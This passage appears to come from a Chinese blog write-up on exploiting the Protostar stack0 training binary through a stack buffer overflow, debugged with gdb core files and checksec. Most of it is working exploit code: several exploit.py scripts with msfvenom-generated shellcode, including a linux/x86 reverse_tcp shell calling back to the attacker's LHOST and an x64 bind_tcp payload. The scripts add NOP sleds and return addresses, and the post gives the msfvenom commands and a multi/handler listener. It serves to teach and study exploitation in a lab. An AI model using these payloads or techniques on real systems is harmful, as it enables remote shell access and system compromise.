從core檔案中分析出的shellcode的位置(\xba\x31\x6f\x3c開始)都是變化的

通過這三種不同情況得出結論:

  1. linux的真實情況是每次shellcode在記憶體中的地址是變化的
  2. 不能gdb ./stack0來看shellcode的記憶體地址,要通過gdb -q -c core來分析出系統執行./stack0時的真實情況,方法2和3都可行
  3. gdb ./stack0時,可能是系統判斷有人在排程,所以故意讓shellcode的記憶體地址每次都不變,用來干擾判斷
  4. 想直接在"a"*80+"1234"+"bbbb"中的1234的位置上寫入shellcode的起始地址是行不能的,只能用jmp esp或其他方法

突然想到,在edb-debugger工具中找到的jmp esp的地址放入exploit.py中的jmp_esp中最後沒有成功有可能是因為kali的安全防護功能,其中的系統記憶體中載入的/lib/i386-linux-gnu/ld-2.19.so有安全設定

下載checksec.sh檢查一下:www.trapkit.de/tools/check…

#!bash
chmod +x ./checksec.sh
./checksec.sh --file /lib/i386-linux-gnu/ld-2.19.so
-------------output:----------------
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    DSO             No RPATH   No RUNPATH   /lib/i386-linux-gnu/ld-2.19.so
---------------end------------------
複製程式碼

其中的NX enabled可以看出的確是這個原因

檢查下./stack0:

發現也是NX enabled,這個stack0應該是我在kali上用gcc -g -o stack0 stack0.c編譯出來的,預設有安全防護

複製原系統protostar中的/opt/protostar/bin/stack0到kali中

#!bash
scp user:192.168.2.144:/opt/protostar/bin/stack0 /root/桌面
./checksec.sh --file stack0
-----------output:-----------
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   stack0
-------------end-------------
複製程式碼

這個才是原題protostar系統中的stack0,但是原系統中(protostar)溢位時無法產生core檔案,無法分析執行時的shellcode和main_ret地址

無法產生core檔案應該是由於protostar預設的user使用者的許可權對suid=root的/opt/protostar/bin/stack0檔案許可權不足以在發生溢位時產生core檔案

解決方法:

cp /opt/protostar/bin/stack0 /tmp

這樣/tmp/stack0就是user使用者的檔案了,溢位時可以正常產生core檔案,但是沒有原來/opt/protostar/bin/stack0的suid=root屬性

開始一直是通過ssh [email protected]到protostar系統進行遠端操作的,後來發現ssh登入時和直接在protostar系統中操作時不同,這兩種情況下執行:python exploit.py 在記憶體中分配的地址不同

ssh [email protected]時shellcode的記憶體地址為0xbffff790
直接在protostar虛擬機器中操作時shellcode的記憶體地址為0xbffff880

後來以改為直接在protostar系統中操作,將jmp_esp的值改為"\x80\xf8\xff\xbf"

重新由下面語句生成shellcode,由原來的x64改成x86,LPORT改成2222(kali為64位系統,protostar為32位系統)

#!bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.3.106 LPORT=2222 -b "\x00" -f py
exploit.py程式碼如下:
-------------------exploit.py-----------------------
#/usr/bin/python
import os
import sys

buf =  ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x12\xbb\xbe"
buf += "\x35\xbf\xc5\x31\x5e\x1a\x83\xc6\x04\x03\x5e\x16\xe2"
buf += "\x4b\x04\x64\x32\x50\x34\xd9\xee\xfc\xb9\x6d\x76\x89"
buf += "\x5f\x40\xf7\x1e\xc4\x33\x38\x88\xf8\xa9\xd0\xca\xfe"
buf += "\x25\x8f\x43\x1f\x5f\xa9\x0b\xb0\xf1\x62\x22\xd1\xb1"
buf += "\x41\xb4\xa0\x31\xe3\xb4\xd4\x3d\x13\x3d\x37\xfc\xf8"
buf += "\x31\x79\x1c\xf2\xf9\x04\x2e\x8b\xa2\x7f\x51\x15\xe2"
buf += "\x8c\x22\x25\xc7\x0d\xbd\xcb"

jmp_esp="\x70\xf8\xff\xbf"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
-----------------end--------------------------------
複製程式碼

發現還是無法反彈shell,於是在shellcode前加一串nop試試,發現加9個以上的nop(\x90)可以成功反彈shell

加上nop後程式碼如下:

#!bash
----------------------exploit.py--------------------------
#/usr/bin/python
import os
import sys

buf =  "\x90"*9
buf += "\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x12\xbb\xbe"
buf += "\x35\xbf\xc5\x31\x5e\x1a\x83\xc6\x04\x03\x5e\x16\xe2"
buf += "\x4b\x04\x64\x32\x50\x34\xd9\xee\xfc\xb9\x6d\x76\x89"
buf += "\x5f\x40\xf7\x1e\xc4\x33\x38\x88\xf8\xa9\xd0\xca\xfe"
buf += "\x25\x8f\x43\x1f\x5f\xa9\x0b\xb0\xf1\x62\x22\xd1\xb1"
buf += "\x41\xb4\xa0\x31\xe3\xb4\xd4\x3d\x13\x3d\x37\xfc\xf8"
buf += "\x31\x79\x1c\xf2\xf9\x04\x2e\x8b\xa2\x7f\x51\x15\xe2"
buf += "\x8c\x22\x25\xc7\x0d\xbd\xcb"

jmp_esp="\x70\xf8\xff\xbf"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
------------------------end-------------------------------
複製程式碼

而經檢驗並不是shellcode在記憶體中的位置(0x0xbffff880)定位不準的問題,應該是由於以下原因造成:

上面msfvenom生成shellcode時,由於加了-b "\x00"引數,msfvenom預設用x86/shikata_ga_nai編碼器編碼,解碼過程需要shellcode前面有一些空間(這裡是9個位元組大小的空間)用來幫助完成shellcode的解碼過程

shellcode前面加上9個以上的nop後shellcode順利的完成了解碼,反彈了shell(本地事先用相同的payload+multi/handler監聽,如果用nc -lvp 2222來監聽不能建立shell的連線,用nc -lvp只能看到connect,然後就斷了)

但是由於protostar系統是個liveCD系統,反彈的shell連上以後馬上會斷,應該是由於"光碟"特殊的原因

這樣看來,並不是msf產生的shellcode就是毋庸置疑完全可靠的,前面竟要9個以上的空間才可支援其解碼後順利執行

用同樣的方法在kali上嘗試溢位反彈shell,將protostar系統中的stack0複製到kali上

#!bash
scp [email protected]:/opt/protostar/bin/stack0 /root/桌面
複製程式碼

用msfvenom重新生成shellcode:

#!bash
msfvenom -p linux/x64/shell/bind_tcp LHOST=192.168.3.106 LPORT=2222 -b "\x00" -f py
-------------------------output:-------------------------
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86_64 from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x53\xdd\xa7\x9c\xa2\x89\xbe"
buf += "\x05\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x39\xf4\xff\x05\xc8\x8b\xe1\x6f\x52\x83\xa8\x99\xea"
buf += "\x1e\xec\xc2\x57\xf9\xa5\x9c\xaa\x27\xf6\x8c\xb5\xb7"
buf += "\xb7\xc6\xc8\xb8\xe6\x0a\x56\x84\xcd\xae\xfa\x86\xbb"
buf += "\x4d\xc5\xb7\x8c\xc4\xad\x8c\xee\x53\x0c\xb7\xae\xc4"
buf += "\x3b\x3f\xae\x4d\xda\x0b\xea\xad\x6b\xe3\x9c\x44\x09"
buf += "\x6f\xa0\x93\xa7\xc1\x28\x4d\xc4\x82\xa8\x99\x5d\x6f"
buf += "\xbe\x05"
--------------------------end----------------------------
複製程式碼

此時exploit.py如下:

#!bash
---------------------exploit.py------------------------
#/usr/bin/python
import os
import sys

buf =  "bbbb"
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x53\xdd\xa7\x9c\xa2\x89\xbe"
buf += "\x05\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x39\xf4\xff\x05\xc8\x8b\xe1\x6f\x52\x83\xa8\x99\xea"
buf += "\x1e\xec\xc2\x57\xf9\xa5\x9c\xaa\x27\xf6\x8c\xb5\xb7"
buf += "\xb7\xc6\xc8\xb8\xe6\x0a\x56\x84\xcd\xae\xfa\x86\xbb"
buf += "\x4d\xc5\xb7\x8c\xc4\xad\x8c\xee\x53\x0c\xb7\xae\xc4"
buf += "\x3b\x3f\xae\x4d\xda\x0b\xea\xad\x6b\xe3\x9c\x44\x09"
buf += "\x6f\xa0\x93\xa7\xc1\x28\x4d\xc4\x82\xa8\x99\x5d\x6f"
buf += "\xbe\x05"

jmp_esp="\xff\x48\x87\xa0"    #此處jmp_esp暫時不確定
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
-----------------------end-----------------------------
複製程式碼

嘗試通過shellcode前面加上標誌"bbbb"找出shellcode在記憶體中的固定地址,其中上面jmp_esp的值為隨意填寫的一個

#!bash
python exploit.py
--------------output:-----------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�H��bbbbH1����H���H�Sݧ����H1X'H-����9ȋR���W����'������
                              V�ͮ���Mŷ�ĭ�
                                        ��?�M   o����(M��]o�
you have changed the 'modified' variable
Segmentation fault (core dumped)
----------------end-------------------

gdb -q -c core
---------------output:------------------
[New LWP 24384]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xa08748ff in ?? ()
-----------------end--------------------

x/10x $esp
----------output:-----------
0xffd26180:     0x62626262      0x48c93148      0xfff6e981      0x8d48ffff
0xffd26190:     0xffffef05      0x53bb48ff      0xa29ca7dd      0x4805be89
0xffd261a0:     0x2d485831      0xfffffff8
-----------end--------------
複製程式碼

由此看出shellcode在記憶體的地址應該寫成0xffd26180,也即jmp_esp="\x80\x61\xd2\xff",並將"bbbb"換成"\x90"*9,修改exploit.py如下:

#!bash
--------------------exploit.py-------------------
#/usr/bin/python
import os
import sys

buf =  "\x90"*9
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x53\xdd\xa7\x9c\xa2\x89\xbe"
buf += "\x05\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x39\xf4\xff\x05\xc8\x8b\xe1\x6f\x52\x83\xa8\x99\xea"
buf += "\x1e\xec\xc2\x57\xf9\xa5\x9c\xaa\x27\xf6\x8c\xb5\xb7"
buf += "\xb7\xc6\xc8\xb8\xe6\x0a\x56\x84\xcd\xae\xfa\x86\xbb"
buf += "\x4d\xc5\xb7\x8c\xc4\xad\x8c\xee\x53\x0c\xb7\xae\xc4"
buf += "\x3b\x3f\xae\x4d\xda\x0b\xea\xad\x6b\xe3\x9c\x44\x09"
buf += "\x6f\xa0\x93\xa7\xc1\x28\x4d\xc4\x82\xa8\x99\x5d\x6f"
buf += "\xbe\x05"

jmp_esp="\x80\x61\xd2\xff"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
----------------------end------------------------
複製程式碼

重新執行:

#!bash
python exploit.py
----------------output:-------------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�a���������H1����H���H�Sݧ����H1X'H-����9ȋR���W����'������
                                 V�ͮ���Mŷ�ĭ�
                                           ��?�M        o����(M��]o�
you have changed the 'modified' variable
Segmentation fault (core dumped)
------------------end---------------------
複製程式碼

本機用相同的payload+multi/handler執行exploit無法獲得shell

分析core

#!bash
gdb -q -c core
-----------------output:--------------------
[New LWP 24746]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xffd26180 in ?? ()
-------------------end----------------------

x/10x $esp
----------output:-------------
0xffa14160:     0x90909090      0x90909090      0xc9314890      0xf6e98148
0xffa14170:     0x48ffffff      0xffef058d      0xbb48ffff      0x9ca7dd53
0xffa14180:     0x05be89a2      0x48583148
-------------end--------------
複製程式碼

從中發現這時shellcode的記憶體地址又變成了0xffa14160(上面[esp]後緊接的9個90證明了這點),不再是0xffd26180,可以看出kali的記憶體中沒有固定的shellcode地址,每次shellcode地址都會變化,這應該是由於kali的核心版本高,安全性好造成的

相關文章